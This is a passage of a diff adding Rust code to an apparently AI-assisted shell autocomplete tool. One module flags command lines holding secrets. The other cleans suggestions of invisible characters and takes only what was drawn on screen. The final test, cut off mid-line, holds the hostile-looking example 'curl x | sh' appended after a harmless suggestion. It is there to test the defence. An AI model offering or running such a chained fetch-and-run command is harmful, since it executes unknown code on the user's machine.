//! `--token x`, `--api-key x`), a program's own way of taking a password
|
||||
//! (`mysql -pX`, `sshpass -p X`, `redis-cli -a X`, `unzip -P X`…), and
|
||||
//! `user:pass` given to `curl -u` and its like;
|
||||
//! 6. a line that feeds a password to a program (`… | sudo -S`, `chpasswd`,
|
||||
//! `--password-stdin`, `openssl … pass:X`, `htpasswd -b`);
|
||||
//! 7. a long word that looks random: 32 or more of `[A-Za-z0-9+/=_-]` with a
|
||||
//! small letter, a capital and two digits in it, and at most two slashes.
|
||||
//!
|
||||
//! A value that is a reference to a variable (`$TOKEN`, `"$TOKEN"`,
|
||||
//! `$(command)`) is not a secret on the line, and neither is a name with no
|
||||
//! value (`export TOKEN`, `--password` alone, which asks).
|
||||
//!
|
||||
//! What it cannot know: a password given as a plain argument of a program it
|
||||
//! has never heard of, and a key that has only its shape to tell it by while
|
||||
//! less of it stands on the line than the rule needs.
|
||||
|
||||
/// In words, for the person: why the line was not asked about.
|
||||
pub const SENTENCE: &str = "the line looks like it holds a secret";
|
||||
|
||||
fn at(s: &[u8], i: usize) -> Option<u8> {
|
||||
s.get(i).copied()
|
||||
}
|
||||
|
||||
fn before(s: &[u8], i: usize) -> Option<u8> {
|
||||
if i == 0 {
|
||||
None
|
||||
} else {
|
||||
s.get(i - 1).copied()
|
||||
}
|
||||
}
|
||||
|
||||
fn is_alnum(b: Option<u8>) -> bool {
|
||||
b.map_or(false, |b| b.is_ascii_alphanumeric())
|
||||
}
|
||||
|
||||
fn is_digit(b: Option<u8>) -> bool {
|
||||
b.map_or(false, |b| b.is_ascii_digit())
|
||||
}
|
||||
|
||||
fn is_space(b: Option<u8>) -> bool {
|
||||
matches!(b, Some(b' ') | Some(b'\t') | Some(b'\n') | Some(b'\r'))
|
||||
}
|
||||
|
||||
/// `[A-Za-z0-9_-]`
|
||||
fn is_word(b: Option<u8>) -> bool {
|
||||
b.map_or(false, |b| {
|
||||
b.is_ascii_alphanumeric() || b == b'_' || b == b'-'
|
||||
})
|
||||
}
|
||||
|
||||
/// A byte of a name in the lowered line: `[a-z0-9_.-]`
|
||||
fn is_name(b: Option<u8>) -> bool {
|
||||
b.map_or(false, |b| {
|
||||
b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'_' || b == b'.' || b == b'-'
|
||||
})
|
||||
}
|
||||
|
||||
fn is_quote(b: Option<u8>) -> bool {
|
||||
matches!(b, Some(b'"') | Some(b'\''))
|
||||
}
|
||||
|
||||
/// Every place `needle` starts in `hay`.
|
||||
fn find_all(hay: &[u8], needle: &[u8]) -> Vec<usize> {
|
||||
let mut found = Vec::new();
|
||||
if needle.is_empty() || hay.len() < needle.len() {
|
||||
return found;
|
||||
}
|
||||
for i in 0..=hay.len() - needle.len() {
|
||||
if &hay[i..i + needle.len()] == needle {
|
||||
found.push(i);
|
||||
}
|
||||
}
|
||||
found
|
||||
}
|
||||
|
||||
/// The beginning, and the fewest characters after it. Few where the
|
||||
/// beginning itself is unmistakable: a key typed by hand is then known for
|
||||
/// one after its first characters, before most of it stands on the line.
|
||||
const BEGINNINGS: &[(&str, usize)] = &[
|
||||
("sk-proj-", 1),
|
||||
("sk-ant-", 1),
|
||||
("sk-", 20),
|
||||
("ghp_", 8),
|
||||
("gho_", 8),
|
||||
("ghu_", 8),
|
||||
("ghs_", 8),
|
||||
("ghr_", 8),
|
||||
("github_pat_", 1),
|
||||
("glpat-", 1),
|
||||
("xoxb-", 4),
|
||||
("xoxa-", 4),
|
||||
("xoxp-", 4),
|
||||
("xoxr-", 4),
|
||||
("xoxs-", 4),
|
||||
];
|
||||
|
||||
/// 1. A key by its well-known beginning.
|
||||
fn beginning(line: &[u8]) -> bool {
|
||||
for (prefix, least) in BEGINNINGS {
|
||||
for i in find_all(line, prefix.as_bytes()) {
|
||||
if is_alnum(before(line, i)) {
|
||||
continue;
|
||||
}
|
||||
let mut n = 0;
|
||||
while is_word(at(line, i + prefix.len() + n)) {
|
||||
n += 1;
|
||||
}
|
||||
if n >= *least {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
for prefix in ["AKIA", "ASIA"] {
|
||||
for i in find_all(line, prefix.as_bytes()) {
|
||||
if is_alnum(before(line, i)) {
|
||||
continue;
|
||||
}
|
||||
let mut n = 0;
|
||||
while at(line, i + prefix.len() + n)
|
||||
.map_or(false, |b| b.is_ascii_uppercase() || b.is_ascii_digit())
|
||||
{
|
||||
n += 1;
|
||||
}
|
||||
if n >= 16 {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
!find_all(line, b"-----BEGIN").is_empty() && !find_all(line, b"PRIVATE KEY").is_empty()
|
||||
}
|
||||
|
||||
/// 2. A header that carries a credential.
|
||||
fn header(line: &[u8], lower: &[u8]) -> bool {
|
||||
if let Some(i) = find_all(lower, b"authorization:").first().copied() {
|
||||
let mut p = i + "authorization:".len();
|
||||
while at(lower, p) == Some(b' ') {
|
||||
p += 1;
|
||||
}
|
||||
// past the scheme, when there is one: "Bearer …", "Basic …", "token …"
|
||||
let mut q = p;
|
||||
while is_alnum(at(lower, q)) {
|
||||
q += 1;
|
||||
}
|
||||
if q > p && at(lower, q) == Some(b' ') {
|
||||
p = q + 1;
|
||||
}
|
||||
// something stands there, and it is not a variable to be filled in
|
||||
let c = at(lower, p);
|
||||
if c.is_some() && !is_space(c) && !is_quote(c) && c != Some(b'$') {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
for i in find_all(lower, b"bearer ") {
|
||||
if is_alnum(before(lower, i)) {
|
||||
continue;
|
||||
}
|
||||
let mut n = 0;
|
||||
// [A-Za-z0-9._~+/=-]
|
||||
while at(line, i + 7 + n).map_or(false, |b| {
|
||||
b.is_ascii_alphanumeric()
|
||||
|| b == b'_'
|
||||
|| b == b'-'
|
||||
|| b == b'.'
|
||||
|| b == b'~'
|
||||
|| b == b'+'
|
||||
|| b == b'/'
|
||||
|| b == b'='
|
||||
}) {
|
||||
n += 1;
|
||||
}
|
||||
if n >= 8 {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
for i in find_all(lower, b"basic ") {
|
||||
if is_alnum(before(lower, i)) {
|
||||
continue;
|
||||
}
|
||||
let mut n = 0;
|
||||
let mut marked = false;
|
||||
// [A-Za-z0-9+/=]
|
||||
while let Some(b) = at(line, i + 6 + n) {
|
||||
if !(b.is_ascii_alphanumeric() || b == b'+' || b == b'/' || b == b'=') {
|
||||
break;
|
||||
}
|
||||
marked = marked || b.is_ascii_digit() || b == b'=';
|
||||
n += 1;
|
||||
}
|
||||
if n >= 12 && marked {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// 3. A URL with a name and a password in it: `scheme://user:pass@host`.
|
||||
/// And one still being typed, where the `@` has not come yet:
|
||||
/// `scheme://user:pa` - told from `host:port` by what follows the colon not
|
||||
/// being a number (an image reference, `docker://name:tag`, is the one thing
|
||||
/// let through).
|
||||
fn url(line: &[u8], lower: &[u8]) -> bool {
|
||||
for i in find_all(line, b"://") {
|
||||
let start = i + 3;
|
||||
let mut end = start;
|
||||
// to the end of the authority: / ? # white space or a quote
|
||||
while let Some(b) = at(line, end) {
|
||||
if is_space(Some(b)) || b == b'/' || b == b'?' || b == b'#' || is_quote(Some(b)) {
|
||||
break;
|
||||
}
|
||||
end += 1;
|
||||
}
|
||||
let authority = &line[start..end];
|
||||
let colon = match authority.iter().position(|b| *b == b':') {
|
||||
Some(k) => k,
|
||||
None => continue,
|
||||
};
|
||||
match authority.iter().rposition(|b| *b == b'@') {
|
||||
Some(at_sign) => {
|
||||
if colon >= 1 && colon + 2 <= at_sign && authority[colon + 1] != b'$' {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
None => {
|
||||
if colon == 0 || colon + 1 >= authority.len() || authority[0] == b'[' {
|
||||
continue;
|
||||
}
|
||||
let mut s = i;
|
||||
while s > 0 && is_name(at(lower, s - 1)) {
|
||||
s -= 1;
|
||||
}
|
||||
let scheme = &lower[s..i];
|
||||
let rest = &authority[colon + 1..];
|
||||
if scheme != b"docker"
|
||||
&& scheme != b"oci"
|
||||
&& rest[0] != b'$'
|
||||
&& rest.iter().any(|b| !b.is_ascii_digit())
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
enum Kind {
|
||||
/// The name says outright that the value is a secret.
|
||||
Strong,
|
||||
/// It may be one (a key, an auth, a pwd): a value that is plainly a path
|
||||
/// or a number is let through.
|
||||
Weak,
|
||||
}
|
||||
|
||||
const STRONG_NAMES: &[&str] = &[
|
||||
"password",
|
||||
"passwd",
|
||||
"passphrase",
|
||||
"secret",
|
||||
"token",
|
||||
"credential",
|
||||
];
|
||||
|
||||
fn has_part(name: &str, part: &str) -> bool {
|
||||
name.split(|c: char| c == '-' || c == '_' || c == '.')
|
||||
.any(|piece| piece == part)
|
||||
}
|
||||
|
||||
/// Is this name (lowered) one a secret is kept under? `sep` is `=` for
|
||||
/// `name=value` and `:` for `name: value`.
|
||||
fn name_kind(run: &str, sep: u8) -> Option<Kind> {
|
||||
let option = run.starts_with('-');
|
||||
let name = run.trim_start_matches(|c: char| c == '-' || c == '.');
|
||||
if name.is_empty() || name == "pwd" || name == "oldpwd" {
|
||||
return None;
|
||||
}
|
||||
if option && name.starts_with("no-") {
|
||||
return None;
|
||||
}
|
||||
if STRONG_NAMES.iter().any(|word| name.contains(*word)) {
|
||||
return Some(Kind::Strong);
|
||||
}
|
||||
let weak = if sep == b':' {
|
||||
(name.contains("key") && name.contains("api")) || has_part(name, "auth")
|
||||
} else if option {
|
||||
has_part(name, "key")
|
||||
|| has_part(name, "apikey")
|
||||
|| has_part(name, "auth")
|
||||
|| has_part(name, "pwd")
|
||||
|| has_part(name, "pass")
|
||||
} else {
|
||||
name.contains("key") || name.contains("auth") || name.contains("pwd")
|
||||
};
|
||||
if weak {
|
||||
Some(Kind::Weak)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// Does a value stand at `v` that could be the secret itself? Not nothing,
|
||||
/// not a reference to a variable (`$NAME`, outside single quotes), and for a
|
||||
/// weak name not a path and not a number.
|
||||
fn value_at(line: &[u8], v: usize, kind: Kind) -> bool {
|
||||
let mut v = v;
|
||||
let mut quote = None;
|
||||
if is_quote(at(line, v)) {
|
||||
quote = at(line, v);
|
||||
v += 1;
|
||||
}
|
||||
let c = match at(line, v) {
|
||||
Some(c) => c,
|
||||
None => return false,
|
||||
};
|
||||
if is_space(Some(c)) || is_quote(Some(c)) {
|
||||
return false;
|
||||
}
|
||||
if c == b'$' && quote != Some(b'\'') {
|
||||
return false;
|
||||
}
|
||||
if kind == Kind::Weak {
|
||||
let d = at(line, v + 1);
|
||||
if c == b'/' || c == b'~' || (c == b'.' && (d == Some(b'/') || d == Some(b'.'))) {
|
||||
return false;
|
||||
}
|
||||
// a number is a column or a count, not a key
|
||||
let mut e = v;
|
||||
while at(line, e).map_or(false, |b| b.is_ascii_digit() || b == b',' || b == b'.') {
|
||||
e += 1;
|
||||
}
|
||||
let after = at(line, e);
|
||||
if e > v && (after.is_none() || is_space(after) || is_quote(after)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
/// 4. `name=value` and `name: value`, wherever they stand.
|
||||
fn assignment(line: &[u8], lower: &[u8]) -> bool {
|
||||
let n = lower.len();
|
||||
let mut i = 0;
|
||||
while i < n {
|
||||
if !is_name(at(lower, i)) {
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
// the run of the name: i..=j
|
||||
let mut j = i;
|
||||
while is_name(at(lower, j + 1)) {
|
||||
j += 1;
|
||||
}
|
||||
let mut p = j + 1;
|
||||
let quoted = is_quote(at(lower, p));
|
||||
if quoted {
|
||||
p += 1;
|
||||
}
|
||||
let sep = at(lower, p);
|
||||
if sep == Some(b'=') || sep == Some(b':') {
|
||||
let sep = sep.unwrap_or(b'=');
|
||||
let run = std::str::from_utf8(&lower[i..=j]).unwrap_or("");
|
||||
if let Some(kind) = name_kind(run, sep) {
|
||||
let mut v = p + 1;
|
||||
let mut ok = true;
|
||||
if sep == b':' {
|
||||
let spaced = at(lower, v) == Some(b' ');
|
||||
if spaced {
|
||||
v += 1;
|
||||
}
|
||||
// name:value with nothing between is a header only when
|
||||
// it looks like one; host:port and image:tag are far
|
||||
// more common
|
||||
ok = (spaced || quoted || run.starts_with("x-")) && at(lower, v) != Some(b'/');
|
||||
}
|
||||
if ok && value_at(line, v, kind) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
i = j + 1;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
fn unquoted(token: &str) -> &str {
|
||||
let first = match token.as_bytes().first().copied() {
|
||||
Some(q) if q == b'"' || q == b'\'' => q,
|
||||
_ => return token,
|
||||
};
|
||||
let rest = &token[1..];
|
||||
if rest.as_bytes().last().copied() == Some(first) {
|
||||
&rest[..rest.len() - 1]
|
||||
} else {
|
||||
rest
|
||||
}
|
||||
}
|
||||
|
||||
/// `user:pass`, as curl's `-u` takes it.
|
||||
fn is_user_pass(value: &str) -> bool {
|
||||
let v = unquoted(value);
|
||||
let colon = match v.find(':') {
|
||||
Some(colon) => colon,
|
||||
None => return false,
|
||||
};
|
||||
if colon == 0 || colon + 1 >= v.len() || v.as_bytes()[colon + 1] == b'$' {
|
||||
return false;
|
||||
}
|
||||
let digits = |s: &str| !s.is_empty() && s.bytes().all(|b| b.is_ascii_digit());
|
||||
!(digits(&v[..colon]) && digits(&v[colon + 1..]))
|
||||
}
|
||||
|
||||
const STRONG_PARTS: &[&str] = &[
|
||||
"password",
|
||||
"passwd",
|
||||
"passphrase",
|
||||
"pass",
|
||||
"token",
|
||||
"secret",
|
||||
"apikey",
|
||||
"credential",
|
||||
"credentials",
|
||||
];
|
||||
|
||||
/// The programs, the option, whether the value may be attached (`-pVALUE`)
|
||||
/// and whether it may stand apart (`-p VALUE`).
|
||||
const CLIENTS: &[(&[&str], &str, bool, bool)] = &[
|
||||
(
|
||||
&[
|
||||
"mysql",
|
||||
"mariadb",
|
||||
"mysqldump",
|
||||
"mariadb-dump",
|
||||
"mysqladmin",
|
||||
"mariadb-admin",
|
||||
"mysqlimport",
|
||||
"mysqlcheck",
|
||||
"mysqlsh",
|
||||
"mycli",
|
||||
],
|
||||
"-p",
|
||||
true,
|
||||
false,
|
||||
),
|
||||
(&["sshpass"], "-p", true, true),
|
||||
(
|
||||
&["7z", "7za", "7zr", "7zz", "rar", "unrar"],
|
||||
"-p",
|
||||
true,
|
||||
false,
|
||||
),
|
||||
(&["zip", "unzip"], "-P", true, true),
|
||||
(
|
||||
&["redis-cli", "valkey-cli", "redis-benchmark"],
|
||||
"-a",
|
||||
false,
|
||||
true,
|
||||
),
|
||||
(
|
||||
&[
|
||||
"ldapsearch",
|
||||
"ldapmodify",
|
||||
"ldapadd",
|
||||
"ldapdelete",
|
||||
"ldapwhoami",
|
||||
"ldappasswd",
|
||||
],
|
||||
"-w",
|
||||
true,
|
||||
true,
|
||||
),
|
||||
(
|
||||
&[
|
||||
"mongo",
|
||||
"mongosh",
|
||||
"mongodump",
|
||||
"mongorestore",
|
||||
"mongoexport",
|
||||
"mongoimport",
|
||||
],
|
||||
"-p",
|
||||
true,
|
||||
true,
|
||||
),
|
||||
(&["mosquitto_pub", "mosquitto_sub"], "-P", false, true),
|
||||
(&["login"], "-p", true, true),
|
||||
];
|
||||
|
||||
const USER_PASS_CLIENTS: &[&str] = &["curl", "wget", "http", "https", "xh", "aria2c", "ab", "svn"];
|
||||
const USER_PASS_OPTIONS: &[&str] = &["-u", "--user", "--proxy-user", "-U", "-A", "-a"];
|
||||
|
||||
/// 5 and 6. Options whose value is a word of its own, a program's own way of
|
||||
/// taking a password, and lines that feed one to a program.
|
||||
fn words(line: &str, lower: &str) -> bool {
|
||||
let tokens: Vec<&str> = line.split_ascii_whitespace().collect();
|
||||
let lowered: Vec<&str> = lower.split_ascii_whitespace().collect();
|
||||
let has = |name: &str| {
|
||||
lowered
|
||||
.iter()
|
||||
.any(|token| unquoted(token).rsplit('/').next() == Some(name))
|
||||
};
|
||||
for (i, token) in lowered.iter().enumerate() {
|
||||
let token: &str = token;
|
||||
if token == "--password-stdin" {
|
||||
return true;
|
||||
}
|
||||
if token.starts_with("--") && !token.contains('=') && !token[2..].starts_with("no-") {
|
||||
let mut kind: Option<Kind> = None;
|
||||
let mut parts = 0;
|
||||
let mut key = false;
|
||||
for piece in token[2..].split(|c: char| c == '-' || c == '_') {
|
||||
if piece.is_empty() {
|
||||
continue;
|
||||
}
|
||||
parts += 1;
|
||||
if STRONG_PARTS.contains(&piece) {
|
||||
kind = Some(Kind::Strong);
|
||||
} else if piece == "auth" || piece == "pwd" {
|
||||
kind = kind.or(Some(Kind::Weak));
|
||||
} else if piece == "key" {
|
||||
key = true;
|
||||
}
|
||||
}
|
||||
if key && parts >= 2 {
|
||||
kind = kind.or(Some(Kind::Weak));
|
||||
}
|
||||
if let (Some(kind), Some(value)) = (kind, tokens.get(i + 1)) {
|
||||
if !value.starts_with('-') && value_at(value.as_bytes(), 0, kind) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
// openssl's -passin pass:…
|
||||
if let Some(plain) = tokens.get(i).map(|token| unquoted(token)) {
|
||||
if plain.len() > 5 && plain.starts_with("pass:") {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
for (programs, flag, attached, apart) in CLIENTS {
|
||||
if !programs.iter().any(|program| has(*program)) {
|
||||
continue;
|
||||
}
|
||||
for (i, token) in tokens.iter().enumerate() {
|
||||
let token: &str = token;
|
||||
if token == *flag {
|
||||
if let Some(value) = tokens.get(i + 1) {
|
||||
if *apart
|
||||
&& !value.starts_with('-')
|
||||
&& value_at(value.as_bytes(), 0, Kind::Strong)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} else if *attached && token.starts_with(*flag) && !token.starts_with("--") {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
if USER_PASS_CLIENTS.iter().any(|program| has(*program)) {
|
||||
for (i, token) in tokens.iter().enumerate() {
|
||||
let token: &str = token;
|
||||
if USER_PASS_OPTIONS.contains(&token) {
|
||||
if tokens.get(i + 1).map_or(false, |value| is_user_pass(value)) {
|
||||
return true;
|
||||
}
|
||||
} else if let Some(rest) = token.strip_prefix("--user=") {
|
||||
if is_user_pass(rest) {
|
||||
return true;
|
||||
}
|
||||
} else if let Some(rest) = token.strip_prefix("--proxy-user=") {
|
||||
if is_user_pass(rest) {
|
||||
return true;
|
||||
}
|
||||
} else if token.len() > 2 && token.starts_with("-u") && is_user_pass(&token[2..]) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
if has("chpasswd") {
|
||||
return true;
|
||||
}
|
||||
let dash_s = tokens.iter().any(|token| *token == "-S");
|
||||
let stdin = tokens.iter().any(|token| *token == "--stdin");
|
||||
let flag_b = tokens.iter().any(|token| {
|
||||
let bytes = token.as_bytes();
|
||||
bytes.len() >= 2
|
||||
&& bytes[0] == b'-'
|
||||
&& bytes[1..].iter().all(|b| b.is_ascii_alphabetic())
|
||||
&& bytes[1..].contains(&b'b')
|
||||
});
|
||||
(has("sudo") && dash_s) || (has("passwd") && stdin) || (has("htpasswd") && flag_b)
|
||||
}
|
||||
|
||||
/// 7. A long word that looks random.
|
||||
fn random(line: &[u8]) -> bool {
|
||||
let in_run = |b: u8| {
|
||||
b.is_ascii_alphanumeric() || b == b'_' || b == b'-' || b == b'+' || b == b'/' || b == b'='
|
||||
};
|
||||
let mut i = 0;
|
||||
while i < line.len() {
|
||||
if !in_run(line[i]) {
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
let mut j = i;
|
||||
let mut small = false;
|
||||
let mut capital = false;
|
||||
let mut digits = 0usize;
|
||||
let mut slashes = 0usize;
|
||||
while j < line.len() && in_run(line[j]) {
|
||||
let b = line[j];
|
||||
if b.is_ascii_lowercase() {
|
||||
small = true;
|
||||
} else if b.is_ascii_uppercase() {
|
||||
capital = true;
|
||||
} else if b.is_ascii_digit() {
|
||||
digits += 1;
|
||||
} else if b == b'/' {
|
||||
slashes += 1;
|
||||
}
|
||||
j += 1;
|
||||
}
|
||||
if j - i >= 32 && small && capital && digits >= 2 && slashes <= 2 {
|
||||
return true;
|
||||
}
|
||||
i = j;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// Does this command line look as if it holds a secret?
|
||||
pub fn looks_secret(line: &str) -> bool {
|
||||
if line.is_empty() {
|
||||
return false;
|
||||
}
|
||||
let lower = line.to_ascii_lowercase();
|
||||
beginning(line.as_bytes())
|
||||
|| header(line.as_bytes(), lower.as_bytes())
|
||||
|| url(line.as_bytes(), lower.as_bytes())
|
||||
|| assignment(line.as_bytes(), lower.as_bytes())
|
||||
|| words(line, &lower)
|
||||
|| random(line.as_bytes())
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
/// The table both implementations are held to: `+ ` before a line that
|
||||
/// holds a secret, `- ` before one that does not.
|
||||
const TABLE: &str = include_str!("../../tests/secrets.txt");
|
||||
|
||||
#[test]
|
||||
fn the_table_of_cases() {
|
||||
let mut held = 0;
|
||||
let mut ordinary = 0;
|
||||
let mut wrong = Vec::new();
|
||||
for line in TABLE.lines() {
|
||||
let (want, text) = if let Some(text) = line.strip_prefix("+ ") {
|
||||
(true, text)
|
||||
} else if let Some(text) = line.strip_prefix("- ") {
|
||||
(false, text)
|
||||
} else {
|
||||
continue;
|
||||
};
|
||||
if want {
|
||||
held += 1;
|
||||
} else {
|
||||
ordinary += 1;
|
||||
}
|
||||
if looks_secret(text) != want {
|
||||
wrong.push(format!(
|
||||
"{} {}",
|
||||
if want {
|
||||
"missed:"
|
||||
} else {
|
||||
"taken for a secret:"
|
||||
},
|
||||
text
|
||||
));
|
||||
}
|
||||
}
|
||||
assert!(
|
||||
held >= 80 && ordinary >= 150,
|
||||
"the table was read: {} and {} cases",
|
||||
held,
|
||||
ordinary
|
||||
);
|
||||
assert!(wrong.is_empty(), "{}", wrong.join("\n"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_secret_is_known_from_its_first_character() {
|
||||
// What is typed, a character at a time. The line is asked about at
|
||||
// every pause, so from the first character of the value on it must
|
||||
// be taken for a secret: nothing of the value may be on a line that
|
||||
// still passes. Each case: the line, and where its value starts.
|
||||
for (line, value_from) in [
|
||||
("export GITHUB_TOKEN=abc123", 20),
|
||||
("mysql -u root -pS3cret", 16),
|
||||
("curl -u alice:hunter2 https://example.org", 14),
|
||||
("curl -H \"Authorization: Bearer abc123def\"", 31),
|
||||
("cli --password hunter2", 15),
|
||||
("psql postgres://app:hunter2@db/shop", 20),
|
||||
("curl \"https://example.org/api?access_token=abc123\"", 43),
|
||||
] {
|
||||
for end in (value_from + 1)..=line.len() {
|
||||
let typed = &line[..end];
|
||||
assert!(looks_secret(typed), "typed so far: {:?}", typed);
|
||||
}
|
||||
}
|
||||
// and before the value there is nothing to keep back
|
||||
for typed in [
|
||||
"export GITHUB_TOKEN=",
|
||||
"export GITHUB_TOK",
|
||||
"mysql -u root -p",
|
||||
"curl -u alice",
|
||||
"curl -u alice:",
|
||||
"cli --password ",
|
||||
"psql postgres://app",
|
||||
"psql postgres://app:",
|
||||
"curl http://localhost:80",
|
||||
] {
|
||||
assert!(!looks_secret(typed), "typed so far: {:?}", typed);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn text_that_is_not_ascii_is_only_text() {
|
||||
assert!(!looks_secret("echo žltý kôň"));
|
||||
assert!(!looks_secret("echo \u{4e2d}\u{6587}=\u{4e2d}"));
|
||||
assert!(looks_secret("export HESLO_TOKEN=žltý"));
|
||||
assert!(!looks_secret(""));
|
||||
assert!(!looks_secret(" "));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,242 @@
|
||||
//! What is offered after the cursor, and how much of it a key takes.
|
||||
//!
|
||||
//! A suggestion is text offered. Taking it puts it on the shell's line as if
|
||||
//! typed; nothing here runs anything, and nothing in a suggestion can act as
|
||||
//! a key: it is one line with no control character in it.
|
||||
|
||||
/// The most characters a suggestion may have.
|
||||
pub const MAX_CHARS: usize = 500;
|
||||
|
||||
/// Where a suggestion came from.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum Source {
|
||||
/// The terminal's own history of commands.
|
||||
History,
|
||||
/// LLeMbas (the autocomplete model).
|
||||
Ai,
|
||||
}
|
||||
|
||||
/// A character that is drawn as nothing, or that changes how what is
|
||||
/// around it is drawn, without being seen itself: format characters (the
|
||||
/// zero-width ones, the marks and isolates of bidirectional text, the byte
|
||||
/// order mark), the line and paragraph separators, variation selectors, tag
|
||||
/// characters and the Hangul fillers. A suggestion is taken as exactly what
|
||||
/// was drawn, so none of these is ever in one. The same list as
|
||||
/// `M.is_invisible` in `llembas/lua/llembas/core.lua`.
|
||||
pub fn is_invisible(c: char) -> bool {
|
||||
matches!(
|
||||
c as u32,
|
||||
0xAD | 0x34F
|
||||
| 0x61C
|
||||
| 0x115F..=0x1160
|
||||
| 0x17B4..=0x17B5
|
||||
| 0x180B..=0x180F
|
||||
| 0x200B..=0x200F
|
||||
| 0x2028..=0x202E
|
||||
| 0x2060..=0x206F
|
||||
| 0x3164
|
||||
| 0xFE00..=0xFE0F
|
||||
| 0xFEFF
|
||||
| 0xFFA0
|
||||
| 0xFFF9..=0xFFFB
|
||||
| 0x1BCA0..=0x1BCA3
|
||||
| 0x1D173..=0x1D17A
|
||||
| 0xE0000..=0xE0FFF
|
||||
)
|
||||
}
|
||||
|
||||
/// May this character be in a suggestion: not a control character, and not
|
||||
/// one that is drawn as nothing ([`is_invisible`]).
|
||||
pub fn is_shown(c: char) -> bool {
|
||||
!c.is_control() && !is_invisible(c)
|
||||
}
|
||||
|
||||
/// The rest of a line as it may be offered: one line, no control character
|
||||
/// and nothing invisible, not endless; `None` when nothing is left of it.
|
||||
pub fn clean_rest(rest: &str) -> Option<String> {
|
||||
let line = rest
|
||||
.split(|c: char| c == '\n' || c == '\r')
|
||||
.next()
|
||||
.unwrap_or("");
|
||||
let cleaned: String = line
|
||||
.chars()
|
||||
.filter(|c| is_shown(*c))
|
||||
.take(MAX_CHARS)
|
||||
.collect();
|
||||
if cleaned.trim().is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(cleaned)
|
||||
}
|
||||
}
|
||||
|
||||
/// What a model answered for a line, as the rest of that line. A model may
|
||||
/// repeat what was typed before going on: then only what follows is the rest.
|
||||
pub fn clean_completion(answer: &str, typed: &str) -> Option<String> {
|
||||
let first = answer
|
||||
.split(|c: char| c == '\n' || c == '\r')
|
||||
.next()
|
||||
.unwrap_or("");
|
||||
let rest = if !typed.is_empty() && first.starts_with(typed) {
|
||||
&first[typed.len()..]
|
||||
} else {
|
||||
first
|
||||
};
|
||||
clean_rest(rest)
|
||||
}
|
||||
|
||||
/// The first word of a suggestion, with the spaces before it: what "take one
|
||||
/// word" takes.
|
||||
pub fn first_word(rest: &str) -> &str {
|
||||
let mut end = rest.len();
|
||||
let mut in_word = false;
|
||||
for (i, c) in rest.char_indices() {
|
||||
if c.is_whitespace() {
|
||||
if in_word {
|
||||
end = i;
|
||||
break;
|
||||
}
|
||||
} else {
|
||||
in_word = true;
|
||||
}
|
||||
}
|
||||
&rest[..end]
|
||||
}
|
||||
|
||||
/// A suggestion as it fits in `room` columns after the cursor: cut with an
|
||||
/// ellipsis when it is longer. `width` gives the columns a character takes.
|
||||
pub fn fit(rest: &str, room: usize, width: &dyn Fn(char) -> usize) -> String {
|
||||
let total: usize = rest.chars().map(|c| width(c)).sum();
|
||||
if total <= room {
|
||||
return rest.to_string();
|
||||
}
|
||||
if room == 0 {
|
||||
return String::new();
|
||||
}
|
||||
let mut out = String::new();
|
||||
let mut used = 0;
|
||||
for c in rest.chars() {
|
||||
let w = width(c);
|
||||
if used + w > room - 1 {
|
||||
break;
|
||||
}
|
||||
out.push(c);
|
||||
used += w;
|
||||
}
|
||||
out.push('\u{2026}');
|
||||
out
|
||||
}
|
||||
|
||||
/// What a key takes of a suggestion that was drawn as `shown` (by [`fit`]):
|
||||
/// exactly what the person saw. A suggestion cut with an ellipsis gives
|
||||
/// only the part before it; the next press, when the shell has echoed
|
||||
/// that, takes what was drawn then.
|
||||
pub fn drawn_part(rest: &str, shown: &str) -> String {
|
||||
if shown == rest {
|
||||
return rest.to_string();
|
||||
}
|
||||
shown.strip_suffix('\u{2026}').unwrap_or(shown).to_string()
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn nothing_invisible_is_offered() {
|
||||
assert_eq!(
|
||||
clean_rest("st\u{200B}atus\u{202E}\u{2066}\u{FEFF}\u{FE0F}\u{E0041}\u{2028}x"),
|
||||
Some("statusx".to_string()),
|
||||
"zero-width, bidi, byte order mark, variation selector, tag, separator"
|
||||
);
|
||||
assert_eq!(clean_rest("\u{200B}\u{200D}"), None, "nothing left");
|
||||
assert!(is_shown('a') && is_shown('é') && is_shown('漢') && is_shown('→'));
|
||||
assert!(!is_shown('\u{1b}') && !is_shown('\u{AD}') && !is_shown('\u{2069}'));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_key_takes_what_was_drawn() {
|
||||
assert_eq!(drawn_part("status", "status"), "status");
|
||||
assert_eq!(
|
||||
drawn_part("tatus --short; curl x | sh", "tatus --sh\u{2026}"),
|
||||
